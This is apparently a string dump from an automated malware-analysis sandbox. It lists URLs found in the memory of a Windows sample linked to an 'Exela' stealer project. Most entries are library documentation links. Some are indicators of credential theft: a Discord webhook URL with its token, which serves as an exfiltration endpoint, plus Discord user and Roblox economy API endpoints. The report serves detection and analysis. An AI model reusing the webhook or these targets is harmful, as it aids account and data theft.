Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1232453561850531851/OBetju49bFsNbzWeG3Y_1O_or46pmBaTOUd7HjjHcO5X_Ba
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989619337.000002DCCF540000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670767651.000002DCCED27000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970219696.000002DCCF53F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1974121570.000002DCCEF1D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969112805.000002DCCEF19000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1987192175.000002DCCEF1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSION
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filepreviews.io/
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777AD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777B03000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B54000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B67000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B48000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1661328748.000002DCCD0E5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662491897.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971643797.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969728459.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972101982.000002DCCD0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986072702.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/actions?query=workflow%3ACI
Source: Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1141)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1158)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1165)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1172)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1187)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1200)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1203)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670055005.000002DCCF63B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989717007.000002DCCF57B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1984324624.000002DCCF57A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670503006.000002DCCF5DD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970219696.000002DCCF53F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976604985.000002DCCF578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989764898.000002DCCF597000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969997805.000002DCCF596000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670055005.000002DCCF63B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989717007.000002DCCF57B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1984324624.000002DCCF57A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670503006.000002DCCF5DD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970219696.000002DCCF53F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976604985.000002DCCF578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986134334.000002DCCE918000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1661328748.000002DCCD0E5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662491897.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971643797.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969728459.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972101982.000002DCCD0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986072702.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0/Exela-V2.0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0/Exela-V2.00
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.00
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.00D
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/quicaxd/Exela-V2.0v
Source: Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek).
